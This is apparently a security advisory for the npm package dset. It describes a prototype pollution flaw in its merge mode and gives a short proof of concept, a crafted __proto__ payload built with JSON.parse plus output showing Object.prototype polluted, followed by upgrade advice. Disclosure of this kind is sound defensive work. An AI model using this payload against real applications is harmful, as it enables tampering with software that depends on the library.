dset@1.0.0 vulnerabilities

dset is an A tiny (161B) utility for safely writing deep Object values~!

Affected versions of this package are vulnerable to Prototype Pollution via 'dset/merge' mode, as the dset function checks for prototype pollution by validating if the top-level path contains __proto__, constructor or protorype. By crafting a malicious object, it is possible to bypass this check and achieve prototype pollution.

PoC:

// poc.js contains:

const {dset} = require("dset/merge")

var a = {b:{c:1}}

console.log("a.polluted:",a.polluted)
console.log("{}.polluted:",({}).polluted)

dset(a,"b", JSON.parse('{"__proto__":{"polluted":"Yes!"}}') ) //Needs to craft payload with JSON.parse to keep the object key __proto__

console.log("a.polluted:",a.polluted)
console.log("{}.polluted:",({}).polluted)

// Running node poc.js give the output:

a.polluted: undefined
{}.polluted: undefined
a.polluted: Yes!
{}.polluted: Yes!

Upgrade dset to version 3.1.2 or higher.